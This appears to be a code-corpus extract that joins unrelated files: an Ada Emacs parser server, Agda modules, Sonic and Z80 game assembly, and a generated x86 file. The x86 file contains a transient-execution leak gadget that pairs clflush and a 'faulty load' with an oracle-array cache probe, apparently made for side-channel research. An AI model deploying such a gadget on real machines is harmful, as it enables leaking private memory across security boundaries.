Parser.Enable_McKenzie_Recover := Params.McKenzie_Disable = 0;
end if;
Parse_Data.Initialize
(Post_Parse_Action => Params.Post_Parse_Action,
Lexer => Parser.Lexer,
Descriptor => Descriptor'Unrestricted_Access,
Base_Terminals => Parser.Terminals'Unrestricted_Access,
Begin_Line => Params.Begin_Line,
End_Line => Params.End_Line,
Begin_Indent => Params.Begin_Indent,
Params => Command_Line (Last + 2 .. Command_Line'Last));
if Params.Task_Count > 0 then
Parser.Table.McKenzie_Param.Task_Count := System.Multiprocessors.CPU_Range (Params.Task_Count);
end if;
if Params.Check_Limit > 0 then
Parser.Table.McKenzie_Param.Check_Limit := Base_Token_Index (Params.Check_Limit);
end if;
if Params.Enqueue_Limit > 0 then
Parser.Table.McKenzie_Param.Enqueue_Limit := Params.Enqueue_Limit;
end if;
if Params.Max_Parallel > 0 then
Parser.Max_Parallel := SAL.Base_Peek_Type (Params.Max_Parallel);
end if;
Buffer := new String (Params.Begin_Byte_Pos .. Params.End_Byte_Pos);
Read_Input (Buffer (Params.Begin_Byte_Pos)'Address, Params.Byte_Count);
Parser.Lexer.Reset_With_String_Access
(Buffer, Params.Source_File_Name, Params.Begin_Char_Pos, Params.Begin_Line);
begin
Parser.Parse;
exception
when WisiToken.Partial_Parse =>
null;
end;
Parser.Execute_Actions;
Parse_Data.Put (Parser);
Clean_Up;
exception
when Syntax_Error =>
Clean_Up;
Put_Line ("(parse_error)");
when E : Parse_Error =>
Clean_Up;
Put_Line ("(parse_error """ & Ada.Exceptions.Exception_Message (E) & """)");
when E : Fatal_Error =>
Clean_Up;
Put_Line ("(error """ & Ada.Exceptions.Exception_Message (E) & """)");
end;
elsif Match ("refactor") then
-- Args: see wisi-process-parse.el wisi-process-parse--send-refactor
-- Input: <source text>
-- Response:
-- [edit elisp vector]...
-- prompt
declare
Params : constant Refactor_Params := Get_Refactor_Params (Command_Line, Last);
Buffer : Ada.Strings.Unbounded.String_Access;
procedure Clean_Up
is
use all type SAL.Base_Peek_Type;
begin
Parser.Lexer.Discard_Rest_Of_Input;
if Parser.Parsers.Count > 0 then
Parse_Data.Put
(Parser.Lexer.Errors,
Parser.Parsers.First.State_Ref.Errors,
Parser.Parsers.First.State_Ref.Tree);
end if;
Ada.Strings.Unbounded.Free (Buffer);
end Clean_Up;
begin
Trace_Parse := Params.Parse_Verbosity;
Trace_Action := Params.Action_Verbosity;
Debug_Mode := Params.Debug_Mode;
Partial_Parse_Active := True;
Parse_Data.Initialize
(Post_Parse_Action => Wisi.Navigate, -- mostly ignored
Lexer => Parser.Lexer,
Descriptor => Descriptor'Unrestricted_Access,
Base_Terminals => Parser.Terminals'Unrestricted_Access,
Begin_Line => Params.Parse_Begin_Line,
End_Line => Params.Parse_End_Line,
Begin_Indent => 0,
Params => "");
if Params.Max_Parallel > 0 then
Parser.Max_Parallel := SAL.Base_Peek_Type (Params.Max_Parallel);
end if;
Buffer := new String (Integer (Params.Parse_Region.First) .. Integer (Params.Parse_Region.Last));
Read_Input (Buffer (Buffer'First)'Address, Params.Byte_Count);
Parser.Lexer.Reset_With_String_Access
(Buffer, Params.Source_File_Name, Params.Parse_Begin_Char_Pos, Params.Parse_Begin_Line);
begin
Parser.Parse;
exception
when WisiToken.Partial_Parse =>
null;
end;
Parser.Execute_Actions;
Parse_Data.Refactor (Parser.Parsers.First_State_Ref.Tree, Params.Refactor_Action, Params.Edit_Begin);
Clean_Up;
exception
when Syntax_Error =>
Clean_Up;
Put_Line ("(parse_error ""refactor " & Params.Parse_Region.First'Image &
Params.Parse_Region.Last'Image & ": syntax error"")");
when E : Parse_Error =>
Clean_Up;
Put_Line ("(parse_error ""refactor " & Params.Parse_Region.First'Image &
Params.Parse_Region.Last'Image & ": " & Ada.Exceptions.Exception_Message (E) & """)");
when E : others => -- includes Fatal_Error
Clean_Up;
Put_Line ("(error """ & Ada.Exceptions.Exception_Message (E) & """)");
end;
elsif Match ("noop") then
-- Args: <source byte count>
-- Input: <source text>
-- Response: prompt
declare
Byte_Count : constant Integer := Get_Integer (Command_Line, Last);
Buffer : constant Ada.Strings.Unbounded.String_Access := new String (1 .. Byte_Count);
Token : Base_Token;
Lexer_Error : Boolean;
pragma Unreferenced (Lexer_Error);
begin
Token.ID := Invalid_Token_ID;
Read_Input (Buffer (1)'Address, Byte_Count);
Parser.Lexer.Reset_With_String_Access (Buffer, +"");
loop
exit when Token.ID = Parser.Trace.Descriptor.EOI_ID;
Lexer_Error := Parser.Lexer.Find_Next (Token);
end loop;
exception
when Syntax_Error =>
Parser.Lexer.Discard_Rest_Of_Input;
end;
elsif Match ("quit") then
exit;
else
Put_Line ("(error ""bad command: '" & Command_Line & "'"")");
end if;
exception
when E : Protocol_Error =>
-- don't exit the loop; allow debugging bad elisp
Put_Line ("(error ""protocol error "": " & Ada.Exceptions.Exception_Message (E) & """)");
end;
end loop;
Cleanup;
exception
when Finish =>
null;
when E : others =>
Cleanup;
Ada.Command_Line.Set_Exit_Status (Ada.Command_Line.Failure);
New_Line (2);
Put_Line
("(error ""unhandled exception: " & Ada.Exceptions.Exception_Name (E) & ": " &
Ada.Exceptions.Exception_Message (E) & """)");
Put_Line (GNAT.Traceback.Symbolic.Symbolic_Traceback (E));
end Process_Stream;
end Emacs_Wisi_Common_Parse;
|
test/interaction/ExtendedLambdaCase.agda | dagit/agda | 1 | 15558 | <gh_stars>1-10
module ExtendedLambdaCase where
data Bool : Set where
true false : Bool
data Void : Set where
foo : Bool -> Bool -> Bool -> Bool
foo = λ { x → λ { y z → {!!} } }
module parameterised {A : Set}(B : A -> Set) where
data Bar : (Bool -> Bool) -> Set where
baz : (t : Void) -> Bar λ { x → {!!} }
-- with hidden argument
data Bar' : (Bool -> Bool) -> Set where
baz' : {t : Void} -> Bar' λ { x' → {!!} }
baz : Bool -> {w : Bool} -> Bool
baz = λ { z {w} → {!!} }
|
sk/sfx/59.asm | Cancer52/flamedriver | 9 | 168352 | Sound_59_Header:
smpsHeaderStartSong 3
smpsHeaderVoice Sound_59_Voices
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $04
smpsHeaderSFXChannel cFM3, Sound_59_FM3, $10, $00
smpsHeaderSFXChannel cFM4, Sound_59_FM4, $00, $00
smpsHeaderSFXChannel cFM5, Sound_59_FM5, $10, $00
smpsHeaderSFXChannel cPSG3, Sound_59_PSG3, $0C, $00
; FM3 Data
Sound_59_FM3:
smpsPan panRight, $00
dc.b nRst, $02
smpsJump Sound_59_FM4
; FM5 Data
Sound_59_FM5:
smpsPan panLeft, $00
dc.b nRst, $01
; FM4 Data
Sound_59_FM4:
smpsSetvoice $00
smpsModSet $03, $01, $20, $04
dc.b nC0, $10
smpsStop
; PSG3 Data
Sound_59_PSG3:
smpsModSet $01, $01, $0F, $05
smpsPSGform $E7
Sound_59_Loop00:
dc.b nB3, $18, smpsNoAttack
smpsPSGAlterVol $03
smpsLoop $00, $05, Sound_59_Loop00
smpsStop
Sound_59_Voices:
; Voice $00
; $F9
; $21, $30, $10, $32, $1F, $1F, $1F, $1F, $05, $18, $09, $02
; $0B, $1F, $10, $05, $1F, $2F, $4F, $2F, $0E, $07, $04, $80
smpsVcAlgorithm $01
smpsVcFeedback $07
smpsVcUnusedBits $03
smpsVcDetune $03, $01, $03, $02
smpsVcCoarseFreq $02, $00, $00, $01
smpsVcRateScale $00, $00, $00, $00
smpsVcAttackRate $1F, $1F, $1F, $1F
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $02, $09, $18, $05
smpsVcDecayRate2 $05, $10, $1F, $0B
smpsVcDecayLevel $02, $04, $02, $01
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $00, $04, $07, $0E
|
Cubical/DStructures/Meta/Isomorphism.agda | Schippmunk/cubical | 0 | 16046 | {-# OPTIONS --cubical --no-import-sorts --safe #-}
module Cubical.DStructures.Meta.Isomorphism where
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.Equiv
open import Cubical.Foundations.HLevels
open import Cubical.Foundations.Isomorphism
open import Cubical.Foundations.Univalence
open import Cubical.Functions.FunExtEquiv
open import Cubical.Homotopy.Base
open import Cubical.Data.Sigma
open import Cubical.Relation.Binary
open import Cubical.Algebra.Group
open import Cubical.Structures.LeftAction
open import Cubical.DStructures.Base
open import Cubical.DStructures.Meta.Properties
open import Cubical.DStructures.Structures.Constant
open import Cubical.DStructures.Structures.Type
open import Cubical.DStructures.Structures.Group
private
variable
ℓ ℓ' ℓ'' ℓ₁ ℓ₁' ℓ₁'' ℓ₂ ℓA ℓA' ℓ≅A ℓ≅A' ℓB ℓB' ℓ≅B ℓ≅B' ℓC ℓ≅C ℓ≅ᴰ ℓ≅ᴰ' : Level
open URGStr
open URGStrᴰ
----------------------------------------------
-- Pseudo-isomorphisms between URG structures
-- are relational isos of the underlying rel.
----------------------------------------------
𝒮-PIso : {A : Type ℓA} (𝒮-A : URGStr A ℓ≅A)
{A' : Type ℓA'} (𝒮-A' : URGStr A' ℓ≅A')
→ Type (ℓ-max (ℓ-max ℓA ℓA') (ℓ-max ℓ≅A ℓ≅A'))
𝒮-PIso 𝒮-A 𝒮-A' = RelIso (URGStr._≅_ 𝒮-A) (URGStr._≅_ 𝒮-A')
----------------------------------------------
-- Since the relations are univalent,
-- a rel. iso induces an iso of the underlying
-- types.
----------------------------------------------
𝒮-PIso→Iso : {A : Type ℓA} (𝒮-A : URGStr A ℓ≅A)
{A' : Type ℓA'} (𝒮-A' : URGStr A' ℓ≅A')
(ℱ : 𝒮-PIso 𝒮-A 𝒮-A')
→ Iso A A'
𝒮-PIso→Iso 𝒮-A 𝒮-A' ℱ
= RelIso→Iso (_≅_ 𝒮-A) (_≅_ 𝒮-A') (uni 𝒮-A) (uni 𝒮-A') ℱ
----------------------------------------------
-- From a DURG structure, extract the
-- relational family over the base type
----------------------------------------------
𝒮ᴰ→relFamily : {A : Type ℓA} {𝒮-A : URGStr A ℓ≅A}
{B : A → Type ℓB} (𝒮ᴰ-B : URGStrᴰ 𝒮-A B ℓ≅B)
→ RelFamily A ℓB ℓ≅B
-- define the type family, just B
𝒮ᴰ→relFamily {B = B} 𝒮ᴰ-B .fst = B
-- the binary relation is the displayed relation over ρ a
𝒮ᴰ→relFamily {𝒮-A = 𝒮-A} {B = B} 𝒮ᴰ-B .snd {a = a} b b'
= 𝒮ᴰ-B ._≅ᴰ⟨_⟩_ b (𝒮-A .ρ a) b'
--------------------------------------------------------------
-- the type of relational isos between a DURG structure
-- and the pulled back relational family of another
--
-- ℱ will in applications always be an isomorphism,
-- but that's not needed for this definition.
--------------------------------------------------------------
𝒮ᴰ-♭PIso : {A : Type ℓA} {𝒮-A : URGStr A ℓ≅A}
{A' : Type ℓA'} {𝒮-A' : URGStr A' ℓ≅A'}
(ℱ : A → A')
{B : A → Type ℓB} (𝒮ᴰ-B : URGStrᴰ 𝒮-A B ℓ≅B)
{B' : A' → Type ℓB'} (𝒮ᴰ-B' : URGStrᴰ 𝒮-A' B' ℓ≅B')
→ Type (ℓ-max ℓA (ℓ-max (ℓ-max ℓB ℓB') (ℓ-max ℓ≅B ℓ≅B')))
𝒮ᴰ-♭PIso ℱ 𝒮ᴰ-B 𝒮ᴰ-B'
= ♭RelFiberIsoOver ℱ (𝒮ᴰ→relFamily 𝒮ᴰ-B) (𝒮ᴰ→relFamily 𝒮ᴰ-B')
---------------------------------------------------------
-- Given
-- - an isomorphism ℱ of underlying types A, A', and
-- - an 𝒮ᴰ-bPIso over ℱ
-- produce an iso of the underlying total spaces
---------------------------------------------------------
𝒮ᴰ-♭PIso-Over→TotalIso : {A : Type ℓA} {𝒮-A : URGStr A ℓ≅A}
{A' : Type ℓA'} {𝒮-A' : URGStr A' ℓ≅A'}
(ℱ : Iso A A')
{B : A → Type ℓB} (𝒮ᴰ-B : URGStrᴰ 𝒮-A B ℓ≅B)
{B' : A' → Type ℓB'} (𝒮ᴰ-B' : URGStrᴰ 𝒮-A' B' ℓ≅B')
(𝒢 : 𝒮ᴰ-♭PIso (Iso.fun ℱ) 𝒮ᴰ-B 𝒮ᴰ-B')
→ Iso (Σ A B) (Σ A' B')
𝒮ᴰ-♭PIso-Over→TotalIso ℱ 𝒮ᴰ-B 𝒮ᴰ-B' 𝒢
= RelFiberIsoOver→Iso ℱ
(𝒮ᴰ→relFamily 𝒮ᴰ-B) (𝒮ᴰ-B .uniᴰ)
(𝒮ᴰ→relFamily 𝒮ᴰ-B') (𝒮ᴰ-B' .uniᴰ)
𝒢
|
New/LangOps.agda | inc-lc/ilc-agda | 10 | 12575 | <reponame>inc-lc/ilc-agda
module New.LangOps where
open import New.Lang
open import New.Changes
open import New.LangChanges
oplusτo : ∀ {Γ} τ → Term Γ (τ ⇒ Δt τ ⇒ τ)
ominusτo : ∀ {Γ} τ → Term Γ (τ ⇒ τ ⇒ Δt τ)
onilτo : ∀ {Γ} τ → Term Γ (τ ⇒ Δt τ)
onilτo τ = abs (app₂ (ominusτo τ) (var this) (var this))
-- Do NOT try to read this, such terms are write-only. But the behavior is
-- specified to be oplusτ-equiv and ominusτ-equiv.
oplusτo (σ ⇒ τ) = abs (abs (abs
(app₂ (oplusτo τ)
(app (var (that (that this))) (var this))
(app₂ (var (that this)) (var this) (app (onilτo σ) (var this))))))
oplusτo int = const plus
oplusτo (pair σ τ) = abs (abs (app₂ (const cons)
(app₂ (oplusτo σ) (app (const fst) (var (that this))) (app (const fst) (var this)))
(app₂ (oplusτo τ) (app (const snd) (var (that this))) (app (const snd) (var this)))))
oplusτo (sum σ τ) = abs (abs (app₃ (const match) (var (that this))
(abs (app₃ (const match) (var (that this))
(abs (app₃ (const match) (var this)
(abs (app (const linj) (app₂ (oplusτo σ) (var (that (that this))) (var this))))
(abs (app (const linj) (var (that (that this)))))))
(abs (var this))))
(abs (app₃ (const match) (var (that this))
(abs (app₃ (const match) (var this)
(abs (app (const rinj) (var (that (that this)))))
(abs (app (const rinj) (app₂ (oplusτo τ) (var (that (that this))) (var this))))))
(abs (var this))))))
ominusτo (σ ⇒ τ) = abs (abs (abs (abs (app₂ (ominusτo τ)
(app (var (that (that (that this)))) (app₂ (oplusτo σ) (var (that this)) (var this)))
(app (var (that (that this))) (var (that this)))))))
ominusτo int = const minus
ominusτo (pair σ τ) = abs (abs (app₂ (const cons)
(app₂ (ominusτo σ) (app (const fst) (var (that this))) (app (const fst) (var this)))
(app₂ (ominusτo τ) (app (const snd) (var (that this))) (app (const snd) (var this)))))
ominusτo (sum σ τ) = abs (abs (app₃ (const match) (var (that this))
(abs (app₃ (const match) (var (that this))
(abs (app (const linj) (app (const linj) (app₂ (ominusτo σ) (var (that this)) (var this)))))
(abs (app (const rinj) (var (that (that (that this))))))))
(abs (app₃ (const match) (var (that this))
(abs (app (const rinj) (var (that (that (that this))))))
(abs (app (const linj) (app (const rinj) (app₂ (ominusτo τ) (var (that this)) (var this)))))))))
oplusτ-equiv : ∀ Γ (ρ : ⟦ Γ ⟧Context) τ a da → ⟦ oplusτo τ ⟧Term ρ a da ≡ a ⊕ da
ominusτ-equiv : ∀ Γ (ρ : ⟦ Γ ⟧Context) τ b a → ⟦ ominusτo τ ⟧Term ρ b a ≡ b ⊝ a
oplusτ-equiv-ext : ∀ τ Γ → ⟦ oplusτo {Γ} τ ⟧Term ≡ λ ρ → _⊕_
oplusτ-equiv-ext τ _ = ext³ (λ ρ a da → oplusτ-equiv _ ρ τ a da)
ominusτ-equiv-ext : ∀ τ Γ → ⟦ ominusτo {Γ} τ ⟧Term ≡ λ ρ → _⊝_
ominusτ-equiv-ext τ _ = ext³ (λ ρ a da → ominusτ-equiv _ ρ τ a da)
oplusτ-equiv Γ ρ (σ ⇒ τ) f df = ext (λ a → lemma a)
where
module _ (a : ⟦ σ ⟧Type) where
ρ′ = a • df • f • ρ
ρ′′ = a • ρ′
lemma : ⟦ oplusτo τ ⟧Term ρ′ (f a)
(df a (⟦ ominusτo σ ⟧Term ρ′′ a a))
≡ f a ⊕ df a (nil a)
lemma
rewrite ominusτ-equiv _ ρ′′ σ a a
| oplusτ-equiv _ ρ′ τ (f a) (df a (nil a))
= refl
oplusτ-equiv Γ ρ int a da = refl
oplusτ-equiv Γ ρ (pair σ τ) (a , b) (da , db)
rewrite oplusτ-equiv _ ((da , db) • (a , b) • ρ) σ a da
| oplusτ-equiv _ ((da , db) • (a , b) • ρ) τ b db
= refl
oplusτ-equiv Γ ρ (sum σ τ) (inj₁ x) (inj₁ (inj₁ dx))
rewrite oplusτ-equiv-ext σ (Δt σ • sum (Δt σ) (Δt τ) • σ • Δt (sum σ τ) • sum σ τ • Γ)
= refl
oplusτ-equiv Γ ρ (sum σ τ) (inj₁ x) (inj₁ (inj₂ dy)) = refl
oplusτ-equiv Γ ρ (sum σ τ) (inj₁ x) (inj₂ y) = refl
oplusτ-equiv Γ ρ (sum σ τ) (inj₂ y) (inj₁ (inj₁ dx)) = refl
oplusτ-equiv Γ ρ (sum σ τ) (inj₂ y) (inj₁ (inj₂ dy))
rewrite oplusτ-equiv-ext τ (Δt τ • sum (Δt σ) (Δt τ) • τ • Δt (sum σ τ) • sum σ τ • Γ)
= refl
oplusτ-equiv Γ ρ (sum σ τ) (inj₂ y) (inj₂ y₁) = refl
ominusτ-equiv Γ ρ (σ ⇒ τ) g f = ext (λ a → ext (lemma a))
where
module _ (a : ⟦ σ ⟧Type) (da : Chτ σ) where
ρ′ = da • a • f • g • ρ
lemma : ⟦ ominusτo τ ⟧Term (da • a • f • g • ρ)
(g (⟦ oplusτo σ ⟧Term (da • a • f • g • ρ) a da)) (f a)
≡ g (a ⊕ da) ⊝ f a
lemma
rewrite oplusτ-equiv _ ρ′ σ a da
| ominusτ-equiv _ ρ′ τ (g (a ⊕ da)) (f a) = refl
ominusτ-equiv Γ ρ int b a = refl
ominusτ-equiv Γ ρ (pair σ τ) (a2 , b2) (a1 , b1)
rewrite ominusτ-equiv _ ((a1 , b1) • (a2 , b2) • ρ) σ a2 a1
| ominusτ-equiv _ ((a1 , b1) • (a2 , b2) • ρ) τ b2 b1
= refl
ominusτ-equiv Γ ρ (sum σ τ) (inj₁ x) (inj₁ x₁)
rewrite ominusτ-equiv-ext σ (σ • σ • sum σ τ • sum σ τ • Γ)
= refl
ominusτ-equiv Γ ρ (sum σ τ) (inj₁ x) (inj₂ y) = refl
ominusτ-equiv Γ ρ (sum σ τ) (inj₂ y) (inj₁ x) = refl
ominusτ-equiv Γ ρ (sum σ τ) (inj₂ y) (inj₂ y₁)
rewrite ominusτ-equiv-ext τ (τ • τ • sum σ τ • sum σ τ • Γ)
= refl
|
src/tiles.asm | jardafis/CastleEscape | 1 | 241699 | <filename>src/tiles.asm<gh_stars>1-10
IF !_ZXN
extern _tile0
extern _tileAttr
extern setAttr
public displayPixelTile
public _displayTile
public displayTile
public setTileAttr
#include "defs.inc"
section CODE_2
;
; Display the specified tile and attribute at the specified location.
;
; Callable from 'C' (sccz80)
;
defvars 0 ; Define the stack variables used
{
yPos ds.b 2
xPos ds.b 2
tile ds.b 2
}
_displayTile:
entry
ld b, (ix+yPos)
ld c, (ix+xPos)
ld a, (ix+tile)
call displayTile
call setTileAttr
exit
ret
;
; Display the specified tile at the specified location.
;
; All used registers are preserved by this function.
;
; Entry:
; b - Y character location
; c - X character location
; a - Tile ID of item
;
; Exit:
; b - Y character location
; c - X character location
; a - Tile ID of item
;
displayTile:
push af
push bc
push hl
; hl = a * 8
rlca
rlca
rlca
ld h, a ; Save rotated value of A
and %11111000 ; Clear out the lower 3 bits
ld l, a ; and save low order byte
ld a, h ; Restore the rotated value of A
and %00000111 ; Keep lower 3 bits
ld h, a ; Store the high order byte
outChar _tile0
pop hl
pop bc
pop af
ret
;
; Display the specified tile at the specified pixel location.
;
; All used registers are preserved by this function.
;
; Entry:
; b - Y pixel location
; c - X pixel location
; a - Tile ID of item
;
displayPixelTile:
push af
push bc
push de
push hl
di
ld (clearTileSP+1), sp
calculateRow b
; Calculate the index into the tilesheet
; hl = tileID * 8
rlca
rlca
rlca
ld h, a
and %11111000
ld l, a
ld a, h
and %00000111
ld h, a
ld de, _tile0
add hl, de
ld a, c ; Item x pixel position to char position
rrca
rrca
rrca
and %00011111
ld b, a
ld c, -1 ; Ensure C doesn't wraparound when using ldi
; Write the tile data to the screen
; de - Pointer to screen
; hl - Pointer to tile data
; b - Tile X character offset
REPT 8
pop de ; Pop screen address
ld a, e ; Add X offset
add b
ld e, a
ldi
ENDR
clearTileSP:
ld sp, -1
ei
pop hl
pop de
pop bc
pop af
ret
;
; Set the attribute for the tile at the specified location
;
; Entry:
; b - Y location
; c - X location
; a - Tile ID of item
;
setTileAttr:
push af
push hl
ld hl, _tileAttr
addhl a
ld a, (hl)
call setAttr
pop hl
pop af
ret
ENDIF
|
Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-7700_9_0x48.log_25_1482.asm | ljhsiun2/medusa | 9 | 179872 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xe3d5, %rbp
xor $4732, %r8
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
vmovups %ymm4, (%rbp)
nop
nop
nop
nop
nop
add %rax, %rax
lea addresses_WT_ht+0xcf25, %r15
nop
nop
nop
and $3798, %rdi
mov (%r15), %r13w
xor $33821, %r13
lea addresses_WT_ht+0x1cf35, %rsi
lea addresses_D_ht+0xd735, %rdi
nop
nop
and %r13, %r13
mov $104, %rcx
rep movsq
nop
nop
nop
nop
sub %r15, %r15
lea addresses_D_ht+0x9d35, %rsi
lea addresses_UC_ht+0x6961, %rdi
nop
nop
nop
nop
cmp %r15, %r15
mov $112, %rcx
rep movsl
add $58621, %r15
lea addresses_D_ht+0xd627, %rsi
clflush (%rsi)
nop
nop
nop
nop
and %rbp, %rbp
movl $0x61626364, (%rsi)
nop
nop
nop
nop
and %r15, %r15
lea addresses_WT_ht+0x1d935, %rsi
lea addresses_D_ht+0x12851, %rdi
clflush (%rdi)
nop
nop
nop
nop
sub $47881, %rax
mov $114, %rcx
rep movsl
nop
cmp %r13, %r13
lea addresses_A_ht+0xc224, %rax
nop
add %r8, %r8
mov (%rax), %bp
add $58386, %r8
lea addresses_WT_ht+0x11f73, %rsi
xor %r8, %r8
mov (%rsi), %bp
nop
nop
cmp %r13, %r13
lea addresses_WT_ht+0x1c6a7, %r15
nop
nop
nop
and $14072, %r13
mov (%r15), %eax
dec %rsi
lea addresses_WC_ht+0xfc45, %rsi
sub $17698, %rbp
movb $0x61, (%rsi)
nop
nop
nop
nop
nop
cmp $55609, %rcx
lea addresses_WC_ht+0x1ada5, %rsi
lea addresses_D_ht+0xd041, %rdi
nop
nop
nop
nop
nop
cmp %rax, %rax
mov $53, %rcx
rep movsq
and %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r15
push %rax
push %rcx
push %rdx
// Store
lea addresses_A+0x11d35, %rax
nop
nop
nop
nop
xor %r13, %r13
movl $0x51525354, (%rax)
nop
and $37041, %r15
// Store
lea addresses_WT+0x3535, %r15
nop
sub $51638, %rdx
mov $0x5152535455565758, %r11
movq %r11, %xmm3
vmovups %ymm3, (%r15)
nop
nop
nop
nop
cmp $64845, %rcx
// Load
lea addresses_WC+0x19c55, %r15
xor %r14, %r14
movntdqa (%r15), %xmm6
vpextrq $1, %xmm6, %rax
nop
nop
dec %rax
// Store
lea addresses_WT+0x3535, %r11
nop
nop
add $42646, %r15
movl $0x51525354, (%r11)
inc %r13
// Store
lea addresses_WT+0xb9e5, %r14
nop
inc %r13
movw $0x5152, (%r14)
nop
dec %rax
// Store
lea addresses_PSE+0x14535, %r13
dec %r15
movw $0x5152, (%r13)
nop
nop
nop
add $27092, %rdx
// Store
lea addresses_WC+0xa135, %rcx
clflush (%rcx)
sub $37782, %r11
mov $0x5152535455565758, %r15
movq %r15, (%rcx)
nop
nop
nop
nop
nop
cmp %r11, %r11
// Load
mov $0x65, %r15
nop
sub %r13, %r13
mov (%r15), %rcx
nop
sub %rcx, %rcx
// Load
mov $0x4ae2d7000000059f, %r11
nop
nop
nop
nop
nop
sub %r15, %r15
movb (%r11), %al
nop
nop
sub %r14, %r14
// Store
lea addresses_UC+0x11435, %r15
sub %rdx, %rdx
movl $0x51525354, (%r15)
nop
nop
and $8197, %rdx
// Store
lea addresses_A+0x6015, %rax
nop
nop
nop
nop
add %r13, %r13
mov $0x5152535455565758, %rdx
movq %rdx, %xmm6
vmovntdq %ymm6, (%rax)
nop
nop
cmp %r15, %r15
// Faulty Load
lea addresses_WT+0x3535, %rcx
nop
nop
nop
add $40867, %r13
movb (%rcx), %r15b
lea oracles, %rax
and $0xff, %r15
shlq $12, %r15
mov (%rax,%r15,1), %r15
pop %rdx
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': True, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': True, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 4, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'52': 25}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.